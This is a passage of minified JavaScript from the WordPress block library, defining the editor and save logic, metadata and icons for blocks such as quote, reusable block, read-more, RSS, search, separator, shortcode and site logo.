Cortázar',keywords:["blockquote","cite"],textdomain:"default",attributes:{value:{type:"string",source:"html",selector:"blockquote",multiline:"p",default:"",__experimentalRole:"content"},citation:{type:"string",source:"html",selector:"cite",default:"",__experimentalRole:"content"},align:{type:"string"}},supports:{anchor:!0,__experimentalOnEnter:!0,typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0,fontAppearance:!0}},color:{gradients:!0,link:!0,__experimentalDefaultControls:{background:!0,text:!0}}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"plain",label:"Plain"}],editorStyle:"wp-block-quote-editor",style:"wp-block-quote"},{name:$_}=G_,U_={icon:P_,example:{attributes:{citation:"Julio Cortázar"},innerBlocks:[{name:"core/paragraph",attributes:{content:(0,je.__)("In quoting others, we cite ourselves.")}}]},transforms:F_,edit:function(e){let{attributes:t,setAttributes:n,insertBlocksAfter:o,clientId:a,className:r,style:l}=e;const{align:i,citation:s}=t;((e,t)=>{const n=(0,it.useRegistry)(),{updateBlockAttributes:o,replaceInnerBlocks:a}=(0,it.useDispatch)(Ze.store);(0,$e.useEffect)((()=>{if(!e.value)return;const[r,l]=I_(e);Wu()("Value attribute on the quote block",{since:"6.0",version:"6.5",alternative:"inner blocks"}),n.batch((()=>{o(t,r),a(t,l)}))}),[e.value])})(t,a);const c=(0,it.useSelect)((e=>{const{isBlockSelected:t,hasSelectedInnerBlock:n}=e(Ze.store);return n(a)||t(a)}),[]),u=(0,Ze.useBlockProps)({className:at()(r,{[`has-text-align-${i}`]:i}),...!V_&&{style:l}}),m=(0,Ze.useInnerBlocksProps)(u,{template:H_,templateInsertUpdatesSelection:!0});return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,{group:"block"},(0,$e.createElement)(Ze.AlignmentControl,{value:i,onChange:e=>{n({align:e})}})),(0,$e.createElement)(We.BlockQuotation,m,m.children,(!Ze.RichText.isEmpty(s)||c)&&(0,$e.createElement)(Ze.RichText,nt({identifier:"citation",tagName:V_?"cite":void 0,style:{display:"block"},value:s,onChange:e=>{n({citation:e})},__unstableMobileNoFocusOnMount:!0,"aria-label":(0,je.__)("Quote citation"),placeholder:// translators: placeholder text used for the
(0,je.__)("Add citation"),className:"wp-block-quote__citation",__unstableOnSplitAtEnd:()=>o((0,Ge.createBlock)((0,Ge.getDefaultBlockName)()))},V_?{}:{textAlign:i}))))},save:function(e){let{attributes:t}=e;const{align:n,citation:o}=t,a=at()({[`has-text-align-${n}`]:n});return(0,$e.createElement)("blockquote",Ze.useBlockProps.save({className:a}),(0,$e.createElement)(Ze.InnerBlocks.Content,null),!Ze.RichText.isEmpty(o)&&(0,$e.createElement)(Ze.RichText.Content,{tagName:"cite",value:o}))},deprecated:A_},O_=()=>qe({name:$_,metadata:G_,settings:U_}),q_=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})),W_=window.wp.reusableBlocks,j_=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M18 4h-7c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 9c0 .3-.2.5-.5.5h-7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7zm-5 5c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h1V9H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-1h-1.5v1z"})),Z_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/block",title:"Reusable block",category:"reusable",description:"Create and save content to reuse across your site. Update the block, and the changes apply everywhere it’s used.",textdomain:"default",attributes:{ref:{type:"number"}},supports:{customClassName:!1,html:!1,inserter:!1},editorStyle:"wp-block-editor"},{name:Q_}=Z_,K_={edit:function(e){let{attributes:{ref:t},clientId:n}=e;const o=(0,Ze.__experimentalUseHasRecursion)(t),{record:a,hasResolved:r}=(0,lt.useEntityRecord)("postType","wp_block",t),l=r&&!a,i=(0,it.useSelect)((e=>e(Ze.store).canRemoveBlock(n)),[n]),{__experimentalConvertBlockToStatic:s}=(0,it.useDispatch)(W_.store),[c,u,m]=(0,lt.useEntityBlockEditor)("postType","wp_block",{id:t}),[d,p]=(0,lt.useEntityProp)("postType","wp_block","title",t),g=(0,Ze.useBlockProps)({className:"block-library-block__reusable-block-container"}),h=(0,Ze.useInnerBlocksProps)(g,{value:c,onInput:u,onChange:m,renderAppender:null!=c&&c.length?void 0:Ze.InnerBlocks.ButtonBlockAppender});return o?(0,$e.createElement)("div",g,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Block cannot be rendered inside itself."))):l?(0,$e.createElement)("div",g,(0,$e.createElement)(Ze.Warning,null,(0,je.__)("Block has been deleted or is unavailable."))):r?(0,$e.createElement)(Ze.__experimentalRecursionProvider,{uniqueId:t},i&&(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(We.ToolbarButton,{onClick:()=>s(n),label:(0,je.__)("Convert to regular blocks"),icon:j_,showTooltip:!0}))),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,null,(0,$e.createElement)(We.TextControl,{label:(0,je.__)("Name"),value:d,onChange:p}))),(0,$e.createElement)("div",h)):(0,$e.createElement)("div",g,(0,$e.createElement)(We.Placeholder,null,(0,$e.createElement)(We.Spinner,null)))},icon:q_},Y_=()=>qe({name:Q_,metadata:Z_,settings:K_}),J_={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/read-more",title:"Read More",category:"theme",description:"Displays the link of a post, page, or any other content-type.",textdomain:"default",attributes:{content:{type:"string"},linkTarget:{type:"string",default:"_self"}},usesContext:["postId"],supports:{html:!1,color:{gradients:!0,text:!0},typography:{fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalLetterSpacing:!0,__experimentalTextDecoration:!0,__experimentalDefaultControls:{fontSize:!0,textDecoration:!0}},spacing:{margin:["top","bottom"],padding:!0,__experimentalDefaultControls:{padding:!0}},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalDefaultControls:{width:!0}}},style:"wp-block-read-more"},{name:X_}=J_,ey={icon:ln,edit:function(e){let{attributes:{content:t,linkTarget:n},setAttributes:o,insertBlocksAfter:a}=e;const r=(0,Ze.useBlockProps)();return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Link settings")},(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Open in new tab"),onChange:e=>o({linkTarget:e?"_blank":"_self"}),checked:"_blank"===n}))),(0,$e.createElement)(Ze.RichText,nt({tagName:"a","aria-label":(0,je.__)("“Read more” link text"),placeholder:(0,je.__)("Read more"),value:t,onChange:e=>o({content:e}),__unstableOnSplitAtEnd:()=>a((0,Ge.createBlock)((0,Ge.getDefaultBlockName)())),withoutInteractiveFormatting:!0},r)))}},ty=()=>qe({name:X_,metadata:J_,settings:ey}),ny=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M5 10.2h-.8v1.5H5c1.9 0 3.8.8 5.1 2.1 1.4 1.4 2.1 3.2 2.1 5.1v.8h1.5V19c0-2.3-.9-4.5-2.6-6.2-1.6-1.6-3.8-2.6-6.1-2.6zm10.4-1.6C12.6 5.8 8.9 4.2 5 4.2h-.8v1.5H5c3.5 0 6.9 1.4 9.4 3.9s3.9 5.8 3.9 9.4v.8h1.5V19c0-3.9-1.6-7.6-4.4-10.4zM4 20h3v-3H4v3z"})),oy={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/rss",title:"RSS",category:"widgets",description:"Display entries from any RSS or Atom feed.",keywords:["atom","feed"],textdomain:"default",attributes:{columns:{type:"number",default:2},blockLayout:{type:"string",default:"list"},feedURL:{type:"string",default:""},itemsToShow:{type:"number",default:5},displayExcerpt:{type:"boolean",default:!1},displayAuthor:{type:"boolean",default:!1},displayDate:{type:"boolean",default:!1},excerptLength:{type:"number",default:55}},supports:{align:!0,html:!1},editorStyle:"wp-block-rss-editor",style:"wp-block-rss"},{name:ay}=oy,ry={icon:ny,example:{attributes:{feedURL:"https://wordpress.org"}},edit:function(e){let{attributes:t,setAttributes:n}=e;const[o,a]=(0,$e.useState)(!t.feedURL),{blockLayout:r,columns:l,displayAuthor:i,displayDate:s,displayExcerpt:c,excerptLength:u,feedURL:m,itemsToShow:d}=t;function p(e){return()=>{const o=t[e];n({[e]:!o})}}const g=(0,Ze.useBlockProps)();if(o)return(0,$e.createElement)("div",g,(0,$e.createElement)(We.Placeholder,{icon:ny,label:"RSS"},(0,$e.createElement)("form",{onSubmit:function(e){e.preventDefault(),m&&(n({feedURL:(0,rt.prependHTTP)(m)}),a(!1))},className:"wp-block-rss__placeholder-form"},(0,$e.createElement)(We.TextControl,{placeholder:(0,je.__)("Enter URL here…"),value:m,onChange:e=>n({feedURL:e}),className:"wp-block-rss__placeholder-input"}),(0,$e.createElement)(We.Button,{variant:"primary",type:"submit"},(0,je.__)("Use URL")))));const h=[{icon:Ql,title:(0,je.__)("Edit RSS URL"),onClick:()=>a(!0)},{icon:Su,title:(0,je.__)("List view"),onClick:()=>n({blockLayout:"list"}),isActive:"list"===r},{icon:Bu,title:(0,je.__)("Grid view"),onClick:()=>n({blockLayout:"grid"}),isActive:"grid"===r}];return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,{controls:h})),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Settings")},(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Number of items"),value:d,onChange:e=>n({itemsToShow:e}),min:1,max:20,required:!0}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display author"),checked:i,onChange:p("displayAuthor")}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display date"),checked:s,onChange:p("displayDate")}),(0,$e.createElement)(We.ToggleControl,{label:(0,je.__)("Display excerpt"),checked:c,onChange:p("displayExcerpt")}),c&&(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Max number of words in excerpt"),value:u,onChange:e=>n({excerptLength:e}),min:10,max:100,required:!0}),"grid"===r&&(0,$e.createElement)(We.RangeControl,{label:(0,je.__)("Columns"),value:l,onChange:e=>n({columns:e}),min:2,max:6,required:!0}))),(0,$e.createElement)("div",g,(0,$e.createElement)(We.Disabled,null,(0,$e.createElement)(Ke(),{block:"core/rss",attributes:t}))))}},ly=()=>qe({name:ay,metadata:oy,settings:ry}),iy=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M13.5 6C10.5 6 8 8.5 8 11.5c0 1.1.3 2.1.9 3l-3.4 3 1 1.1 3.4-2.9c1 .9 2.2 1.4 3.6 1.4 3 0 5.5-2.5 5.5-5.5C19 8.5 16.5 6 13.5 6zm0 9.5c-2.2 0-4-1.8-4-4s1.8-4 4-4 4 1.8 4 4-1.8 4-4 4z"})),sy=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Rect,{x:"7",y:"10",width:"10",height:"4",rx:"1",fill:"currentColor"})),cy=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Rect,{x:"4.75",y:"15.25",width:"6.5",height:"9.5",transform:"rotate(-90 4.75 15.25)",stroke:"currentColor",strokeWidth:"1.5",fill:"none"}),(0,$e.createElement)(We.Rect,{x:"16",y:"10",width:"4",height:"4",rx:"1",fill:"currentColor"})),uy=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Rect,{x:"4.75",y:"15.25",width:"6.5",height:"14.5",transform:"rotate(-90 4.75 15.25)",stroke:"currentColor",strokeWidth:"1.5",fill:"none"}),(0,$e.createElement)(We.Rect,{x:"14",y:"10",width:"4",height:"4",rx:"1",fill:"currentColor"})),my=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Rect,{x:"4.75",y:"15.25",width:"6.5",height:"14.5",transform:"rotate(-90 4.75 15.25)",stroke:"currentColor",fill:"none",strokeWidth:"1.5"})),dy=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Rect,{x:"4.75",y:"7.75",width:"14.5",height:"8.5",rx:"1.25",stroke:"currentColor",fill:"none",strokeWidth:"1.5"}),(0,$e.createElement)(We.Rect,{x:"8",y:"11",width:"8",height:"2",fill:"currentColor"})),py=(0,$e.createElement)(We.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(We.Rect,{x:"4.75",y:"17.25",width:"5.5",height:"14.5",transform:"rotate(-90 4.75 17.25)",stroke:"currentColor",fill:"none",strokeWidth:"1.5"}),(0,$e.createElement)(We.Rect,{x:"4",y:"7",width:"10",height:"2",fill:"currentColor"})),gy=[{name:"default",isDefault:!0,attributes:{buttonText:(0,je.__)("Search"),label:(0,je.__)("Search")}}],hy={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/search",title:"Search",category:"widgets",description:"Help visitors find your content.",keywords:["find"],textdomain:"default",attributes:{label:{type:"string",__experimentalRole:"content"},showLabel:{type:"boolean",default:!0},placeholder:{type:"string",default:"",__experimentalRole:"content"},width:{type:"number"},widthUnit:{type:"string"},buttonText:{type:"string",__experimentalRole:"content"},buttonPosition:{type:"string",default:"button-outside"},buttonUseIcon:{type:"boolean",default:!1},query:{type:"object",default:{}}},supports:{align:["left","center","right"],color:{gradients:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{background:!0,text:!0}},typography:{__experimentalSkipSerialization:!0,__experimentalSelector:".wp-block-search__label, .wp-block-search__input, .wp-block-search__button",fontSize:!0,lineHeight:!0,__experimentalFontFamily:!0,__experimentalFontWeight:!0,__experimentalFontStyle:!0,__experimentalTextTransform:!0,__experimentalTextDecoration:!0,__experimentalLetterSpacing:!0,__experimentalDefaultControls:{fontSize:!0}},__experimentalBorder:{color:!0,radius:!0,width:!0,__experimentalSkipSerialization:!0,__experimentalDefaultControls:{color:!0,radius:!0,width:!0}},html:!1},editorStyle:"wp-block-search-editor",style:"wp-block-search"},{name:vy}=hy,by={icon:iy,example:{},variations:gy,edit:function(e){var t;let{className:n,attributes:o,setAttributes:a,toggleSelection:r,isSelected:l,clientId:i}=e;const{label:s,showLabel:c,placeholder:u,width:m,widthUnit:d,align:p,buttonText:g,buttonPosition:h,buttonUseIcon:v,style:b}=o,_=(0,it.useSelect)((e=>{var t;const{getBlockParentsByBlockName:n,wasBlockJustInserted:o}=e(Ze.store);return!(null===(t=n(i,"core/navigation"))||void 0===t||!t.length)&&o(i)}),[i]),{__unstableMarkNextChangeAsNotPersistent:y}=(0,it.useDispatch)(Ze.store);(0,$e.useEffect)((()=>{_&&(y(),a({showLabel:!1,buttonUseIcon:!0,buttonPosition:"button-inside"}))}),[_]);const f=null==b||null===(t=b.border)||void 0===t?void 0:t.radius,k=(0,Ze.__experimentalUseBorderProps)(o);"number"==typeof f&&(k.style.borderRadius=`${f}px`);const x=(0,Ze.__experimentalUseColorProps)(o),w=(0,Ze.getTypographyClassesAndStyles)(o),E=`wp-block-search__width-${(0,Wt.useInstanceId)(We.__experimentalUnitControl)}`,C="button-inside"===h,S="button-outside"===h,B="no-button"===h,T="button-only"===h,N=(0,We.__experimentalUseCustomUnits)({availableUnits:["%","px"],defaultValues:{"%":50,px:350}}),P=[{role:"menuitemradio",title:(0,je.__)("Button outside"),isActive:"button-outside"===h,icon:cy,onClick:()=>{a({buttonPosition:"button-outside"})}},{role:"menuitemradio",title:(0,je.__)("Button inside"),isActive:"button-inside"===h,icon:uy,onClick:()=>{a({buttonPosition:"button-inside"})}},{role:"menuitemradio",title:(0,je.__)("No button"),isActive:"no-button"===h,icon:my,onClick:()=>{a({buttonPosition:"no-button"})}}],I=()=>{const e=at()("wp-block-search__input",C?void 0:k.className,w.className),t={...C?{borderRadius:f}:k.style,...w.style,textDecoration:void 0};return(0,$e.createElement)("input",{type:"search",className:e,style:t,"aria-label":(0,je.__)("Optional placeholder text"),placeholder:u?void 0:(0,je.__)("Optional placeholder…"),value:u,onChange:e=>a({placeholder:e.target.value})})},z=()=>{const e=at()("wp-block-search__button",x.className,w.className,C?void 0:k.className,v?"has-icon":void 0,(0,Ze.__experimentalGetElementClassName)("button")),t={...x.style,...w.style,...C?{borderRadius:f}:k.style};return(0,$e.createElement)($e.Fragment,null,v&&(0,$e.createElement)("button",{type:"button",className:e,style:t,"aria-label":g?(0,id.__unstableStripHTML)(g):(0,je.__)("Search")},(0,$e.createElement)(wd,{icon:iy})),!v&&(0,$e.createElement)(Ze.RichText,{className:e,style:t,"aria-label":(0,je.__)("Button text"),placeholder:(0,je.__)("Add button text…"),withoutInteractiveFormatting:!0,value:g,onChange:e=>a({buttonText:e})}))},M=(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(Ze.BlockControls,null,(0,$e.createElement)(We.ToolbarGroup,null,(0,$e.createElement)(We.ToolbarButton,{title:(0,je.__)("Toggle search label"),icon:py,onClick:()=>{a({showLabel:!c})},className:c?"is-pressed":void 0}),(0,$e.createElement)(We.ToolbarDropdownMenu,{icon:(()=>{switch(h){case"button-inside":return uy;case"button-outside":return cy;case"no-button":return my;case"button-only":return sy}})(),label:(0,je.__)("Change button position"),controls:P}),!B&&(0,$e.createElement)(We.ToolbarButton,{title:(0,je.__)("Use button with icon"),icon:dy,onClick:()=>{a({buttonUseIcon:!v})},className:v?"is-pressed":void 0}))),(0,$e.createElement)(Ze.InspectorControls,null,(0,$e.createElement)(We.PanelBody,{title:(0,je.__)("Display Settings")},(0,$e.createElement)(We.BaseControl,{label:(0,je.__)("Width"),id:E},(0,$e.createElement)(We.__experimentalUnitControl,{id:E,min:"220px",onChange:e=>{const t="%"===d&&parseInt(e,10)>100?100:e;a({width:parseInt(t,10)})},onUnitChange:e=>{a({width:"%"===e?50:350,widthUnit:e})},style:{maxWidth:80},value:`${m}${d}`,units:N}),(0,$e.createElement)(We.ButtonGroup,{className:"wp-block-search__components-button-group","aria-label":(0,je.__)("Percentage Width")},[25,50,75,100].map((e=>(0,$e.createElement)(We.Button,{key:e,isSmall:!0,variant:`${e}%`==`${m}${d}`?0:void 0,onClick:()=>a({width:e,widthUnit:"%"})},e,"%")))))))),L=e=>e?`calc(${e} + 4px)`:void 0,R=(0,Ze.useBlockProps)({className:at()(n,C?"wp-block-search__button-inside":void 0,S?"wp-block-search__button-outside":void 0,B?"wp-block-search__no-button":void 0,T?"wp-block-search__button-only":void 0,v||B?void 0:"wp-block-search__text-button",v&&!B?"wp-block-search__icon-button":void 0),style:{...w.style,textDecoration:void 0}}),A=at()("wp-block-search__label",w.className);return(0,$e.createElement)("div",R,M,c&&(0,$e.createElement)(Ze.RichText,{className:A,"aria-label":(0,je.__)("Label text"),placeholder:(0,je.__)("Add label…"),withoutInteractiveFormatting:!0,value:s,onChange:e=>a({label:e}),style:w.style}),(0,$e.createElement)(We.ResizableBox,{size:{width:`${m}${d}`},className:at()("wp-block-search__inside-wrapper",C?k.className:void 0),style:(()=>{var e,t,n,o,a;const r=C?k.style:{borderRadius:null===(e=k.style)||void 0===e?void 0:e.borderRadius,borderTopLeftRadius:null===(t=k.style)||void 0===t?void 0:t.borderTopLeftRadius,borderTopRightRadius:null===(n=k.style)||void 0===n?void 0:n.borderTopRightRadius,borderBottomLeftRadius:null===(o=k.style)||void 0===o?void 0:o.borderBottomLeftRadius,borderBottomRightRadius:null===(a=k.style)||void 0===a?void 0:a.borderBottomRightRadius},l=void 0!==f&&0!==parseInt(f,10);if(C&&l){if("object"==typeof f){const{topLeft:e,topRight:t,bottomLeft:n,bottomRight:o}=f;return{...r,borderTopLeftRadius:L(e),borderTopRightRadius:L(t),borderBottomLeftRadius:L(n),borderBottomRightRadius:L(o)}}const e=Number.isInteger(f)?`${f}px`:f;r.borderRadius=`calc(${e} + 4px)`}return r})(),minWidth:220,enable:T?{}:{right:"right"!==p,left:"right"===p},onResizeStart:(e,t,n)=>{a({width:parseInt(n.offsetWidth,10),widthUnit:"px"}),r(!1)},onResizeStop:(e,t,n,o)=>{a({width:parseInt(m+o.width,10)}),r(!0)},showHandle:l},(C||S)&&(0,$e.createElement)($e.Fragment,null,I(),z()),T&&z(),B&&I()))}},_y=()=>qe({name:vy,metadata:hy,settings:by}),yy=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M20.2 7v4H3.8V7H2.2v9h1.6v-3.5h16.4V16h1.6V7z"})),fy={from:[{type:"enter",regExp:/^-{3,}$/,transform:()=>(0,Ge.createBlock)("core/separator")},{type:"raw",selector:"hr",schema:{hr:{}}}]},ky={attributes:{color:{type:"string"},customColor:{type:"string"}},save(e){let{attributes:t}=e;const{color:n,customColor:o}=t,a=(0,Ze.getColorClassName)("background-color",n),r=(0,Ze.getColorClassName)("color",n),l=at()({"has-text-color has-background":n||o,[a]:a,[r]:r}),i={backgroundColor:a?void 0:o,color:r?void 0:o};return(0,$e.createElement)("hr",Ze.useBlockProps.save({className:l,style:i}))},migrate(e){const{color:t,customColor:n,...o}=e;return{...o,backgroundColor:t||void 0,opacity:"css",style:n?{color:{background:n}}:void 0}}},xy=[ky],wy={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/separator",title:"Separator",category:"design",description:"Create a break between ideas or sections with a horizontal separator.",keywords:["horizontal-line","hr","divider"],textdomain:"default",attributes:{opacity:{type:"string",default:"alpha-channel"}},supports:{anchor:!0,align:["center","wide","full"],color:{enableContrastChecker:!1,__experimentalSkipSerialization:!0,gradients:!0,background:!0,text:!1,__experimentalDefaultControls:{background:!0}},spacing:{margin:["top","bottom"]}},styles:[{name:"default",label:"Default",isDefault:!0},{name:"wide",label:"Wide Line"},{name:"dots",label:"Dots"}],editorStyle:"wp-block-separator-editor",style:"wp-block-separator"},{name:Ey}=wy,Cy={icon:yy,example:{attributes:{customColor:"#065174",className:"is-style-wide"}},transforms:fy,edit:function(e){var t,n;let{attributes:o,setAttributes:a}=e;const{backgroundColor:r,opacity:l,style:i}=o,s=(0,Ze.__experimentalUseColorProps)(o),c=null==s||null===(t=s.style)||void 0===t?void 0:t.backgroundColor,u=!(null==i||null===(n=i.color)||void 0===n||!n.background);!function(e,t,n){const[o,a]=(0,$e.useState)(!1),r=(0,Wt.usePrevious)(t);(0,$e.useEffect)((()=>{"css"!==e||t||r||a(!0)}),[t,r,e]),(0,$e.useEffect)((()=>{"css"===e&&(o&&t||r&&t!==r)&&(n({opacity:"alpha-channel"}),a(!1))}),[o,t,r])}(l,c,a);const m=(0,Ze.getColorClassName)("color",r),d=at()({"has-text-color":r||c,[m]:m,"has-css-opacity":"css"===l,"has-alpha-channel-opacity":"alpha-channel"===l},s.className),p={color:c,backgroundColor:c};return(0,$e.createElement)($e.Fragment,null,(0,$e.createElement)(We.HorizontalRule,(0,Ze.useBlockProps)({className:d,style:u?p:void 0})))},save:function(e){var t,n;let{attributes:o}=e;const{backgroundColor:a,style:r,opacity:l}=o,i=null==r||null===(t=r.color)||void 0===t?void 0:t.background,s=(0,Ze.__experimentalGetColorClassesAndStyles)(o),c=(0,Ze.getColorClassName)("color",a),u=at()({"has-text-color":a||i,[c]:c,"has-css-opacity":"css"===l,"has-alpha-channel-opacity":"alpha-channel"===l},s.className),m={backgroundColor:null==s||null===(n=s.style)||void 0===n?void 0:n.backgroundColor,color:c?void 0:i};return(0,$e.createElement)("hr",Ze.useBlockProps.save({className:u,style:m}))},deprecated:xy},Sy=()=>qe({name:Ey,metadata:wy,settings:Cy}),By=(0,$e.createElement)(Ue.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg"},(0,$e.createElement)(Ue.Path,{d:"M16 4.2v1.5h2.5v12.5H16v1.5h4V4.2h-4zM4.2 19.8h4v-1.5H5.8V5.8h2.5V4.2h-4l-.1 15.6zm5.1-3.1l1.4.6 4-10-1.4-.6-4 10z"})),Ty=window.wp.autop,Ny={from:[{type:"shortcode",tag:"[a-z][a-z0-9_-]*",attributes:{text:{type:"string",shortcode:(e,t)=>{let{content:n}=t;return(0,Ty.removep)((0,Ty.autop)(n))}}},priority:20}]},Py={$schema:"https://schemas.wp.org/trunk/block.json",apiVersion:2,name:"core/shortcode",title:"Shortcode",category:"widgets",description:"Insert additional custom elements with a WordPress shortcode.",textdomain:"default",attributes:{text:{type:"string",source:"html"}},supports:{className:!1,customClassName:!1,html:!1},editorStyle:"wp-block-shortcode-editor"},{name:Iy}=Py,zy={icon:By,transforms:Ny,edit:function e(t){let{attributes:n,setAttributes:o}=t;const a=`blocks-shortcode-input-${(0,Wt.useInstanceId)(e)}`;return(0,$e.createElement)("div",(0,Ze.useBlockProps)({className:"components-placeholder"}),(0,$e.createElement)("label",{htmlFor:a,className:"components-placeholder__label"},(0,$e.createElement)(wd,{icon:By}),(0,je.__)("Shortcode")),(0,$e.createElement)(Ze.PlainText,{className:"blocks-shortcode__textarea",id:a,value:n.text,"aria-label":(0,je.__)("Shortcode text"),placeholder:(0,je.__)("Write shortcode here…"),onChange:e=>o({text:e})}))},save:function(e){let{attributes:t}=e;return(0,$e.createElement)($e.RawHTML,null,t.text)}},My=()=>qe({name:Iy,metadata:Py,settings:zy}),Ly=(0,$e.createElement)(Ue.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,$e.createElement)(Ue.Path,{d:"M12 3c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 1.5c4.1 0 7.5 3.4 7.5 7.5v.1c-1.4-.8-3.3-1.7-3.4-1.8-.2-.1-.5-.1-.8.1l-2.9 2.1L9 11.3c-.2-.1-.4 0-.6.1l-3.7 2.2c-.1-.5-.2-1-.2-1.5 0-4.2 3.4-7.6 7.5-7.6zm0 15c-3.1 0-5.7-1.9-6.9-4.5l3.7-2.2 3.5 1.2c.2.1.5 0 .7-.1l2.9-2.1c.8.4 2.5 1.2 3.5 1.9-.9 3.3-3.9 5.8-7.4 5.8z"})),Ry=["image"],Ay="image/*",Vy=e=>{let{alt:t,attributes:{align:n,width:o,height:a,isLink:r,linkTarget:l,shouldSyncIcon:i},containerRef:s,isSelected:c,setAttributes:u,setLogo:m,logoUrl:d,siteUrl:p,logoId:g,iconId:h,setIcon:v,canUserEdit:b}=e;const _=lu(s,[n]),y=(0,Wt.useViewportMatch)("medium"),f=!(0,St.includes)(["wide","full"],n)&&y,[{naturalWidth:k,naturalHeight:x},w]=(0,$e.useState)({}),[E,C]=(0,$e.useState)(!1),{toggleSelection:S}=(0,it.useDispatch)(Ze.store),B=at()("custom-logo-link",{"is-transient":(0,xt.isBlobURL)(d)}),{imageEditing:T,maxWidth:N,title:P}=(0,it.useSelect)((e=>{const{getSettings:t}=e(Ze.store);return{title:e(lt.store).getEditedEntityRecord("root","site").title,...(0,St.pick)(t(),["imageEditing","maxWidth"])}}),[]);(0,$e.useEffect)((()=>{i&&g!==h&&u({shouldSyncIcon:!1})}),[]),(0,$e.useEffect)((()=>{c||C(!1)}),[c]);const I=(0,$e.createElement)("img",{className:"custom-logo",src:d,alt:t,onLoad:e=>{w((0,St.pick)(e.target,["naturalWidth","naturalHeight"]))}});let z,M=I;if(r&&(M=(0,$e.createElement)("a",{href:p,className:B,rel:"home",title:P,onClick:e=>e.preventDefault()},I)),_&&k&&x&&(z=k>_?_:k),!f||!z)return(0,$e.createElement)("div",{style:{width:o,height:a}},M);const L=o||120,R=k/x,A=L/R,V=k<x?hs:Math.ceil(hs*R),H=x<k?hs:Math.ceil(hs/R),D=2.5*N;let F=!1,G=!1;"center"===n?(F=!0,G=!0):(0,je.isRTL)()?"left"===n?F=!0:G=!0:"right"===n?G=!0:F=!0;const 